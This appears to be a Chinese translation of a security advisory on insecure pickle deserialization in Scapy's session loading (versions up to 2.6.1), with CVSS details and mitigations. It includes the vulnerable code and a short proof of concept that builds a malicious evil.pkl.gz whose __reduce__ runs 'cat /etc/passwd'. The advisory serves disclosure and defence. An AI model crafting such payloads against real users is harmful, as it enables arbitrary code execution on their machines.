Scapy会话加载漏洞:通过不受信任的Pickle反序列化实现任意代码执行

本文详细分析了Scapy网络工具中存在的不安全反序列化漏洞,攻击者可通过恶意会话文件实现任意代码执行,影响版本为2.6.1及以下,漏洞评分为5.4分中危。

Scapy会话加载漏洞:通过不受信任的Pickle反序列化实现任意代码执行

漏洞详情

摘要

Scapy <v2.7.0版本存在不安全反序列化漏洞,当用户通过-s选项本地加载恶意会话文件时,攻击者可执行任意代码。这需要诱使用户手动加载恶意会话文件。

详细信息

Scapy的交互式shell支持使用gzip压缩的pickle文件加载会话:

1
./run_scapy -s <session_file.pkl.gz>

在内部,这会触发:

1
2
# main.py
SESSION = pickle.load(gzip.open(session_name, "rb"))

由于对反序列化对象未执行任何验证或限制,通过__reduce__()嵌入的任何代码都将立即执行。这使得攻击者可以轻松在共享文件夹中放置恶意的.pkl.gz文件,并由不知情的用户执行。

该漏洞存在于load_session函数中,该函数通过-s CLI标志或通过conf.session以编程方式对.pkl.gz文件使用pickle.load()进行反序列化。

受影响源代码行: https://github.com/secdev/scapy/blob/master/scapy/main.py#L569-L572

1
2
3
4
5
try:
    s = pickle.load(gzip.open(fname, "rb"))
except IOError:
    try:
        s = pickle.load(open(fname, "rb"))

概念验证

创建恶意payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import pickle, os, gzip

class RCE:
    def __reduce__(self):
        return (os.system, ("cat /etc/passwd",))

payload = gzip.compress(pickle.dumps(RCE()))

with open("evil.pkl.gz", "wb") as f:
    f.write(payload)

然后运行Scapy:

1
./run_scapy -s ./evil.pkl.gz

结果:在显示shell之前立即执行cat /etc/passwd

影响

这是一个典型的反序列化漏洞,当反序列化不受信任的数据时会导致代码执行(CE)。

任何能够诱骗其他用户加载精心构造的.pkl.gz会话文件(例如通过-s选项)的用户都可以执行任意Python代码。

漏洞类型:不安全反序列化(Python pickle) CWE:CWE-502:不受信任数据的反序列化 CVSS v4.0向量:CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS评分:5.4(中危) 影响:任意代码执行 攻击向量:本地或供应链(恶意.pkl.gz) 受影响用户:任何加载会话文件的用户(即使是交互式) 受影响版本:Scapy v2.6.1

缓解措施

  • 不要使用’sessions’(启动Scapy时的-s选项)
  • 使用Scapy 2.7.0+版本,其中会话机制已被移除

参考

  • GHSA-cq46-m9x9-j8w2
  • secdev/scapy@13621d1

技术指标

严重程度

中危 - 5.4/10

CVSS v4基础指标

可利用性指标

  • 攻击向量:本地
  • 攻击复杂度:低
  • 攻击要求:存在
  • 所需权限:低
  • 用户交互:主动

脆弱系统影响指标

  • 机密性:高
  • 完整性:高
  • 可用性:高

后续系统影响指标

  • 机密性:无
  • 完整性:无
  • 可用性:无

弱点

CWE-502:不受信任数据的反序列化

标识符

  • GHSA ID:GHSA-cq46-m9x9-j8w2
  • CVE ID:无已知CVE

源代码

secdev/scapy

致谢

anotherik - 报告者

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计